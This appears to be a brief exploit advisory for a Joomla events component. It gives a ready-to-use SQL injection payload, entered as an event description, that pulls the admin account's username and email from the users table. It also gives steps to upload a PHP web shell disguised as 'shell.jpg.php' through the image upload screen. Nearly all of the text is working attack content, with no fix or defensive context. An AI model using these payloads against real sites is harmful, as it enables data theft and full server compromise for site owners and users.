SQL Injection
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requires: magic quotes OFF, user account

Add this as the description of a new event:

'), ( 63,(SELECT CONCAT(username,0x20,email) FROM #__users WHERE gid=25 
LIMIT 1),1,1,1) -- '

NOTE: 63 MUST be your Joomla user ID. extracted info can be found on 
View Events page


Remote File Inclusion
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requires: user account

Just upload your PHP shell (shell.jpg.php) through the Add Image screen, 
and find it's new URL in the View Images screen.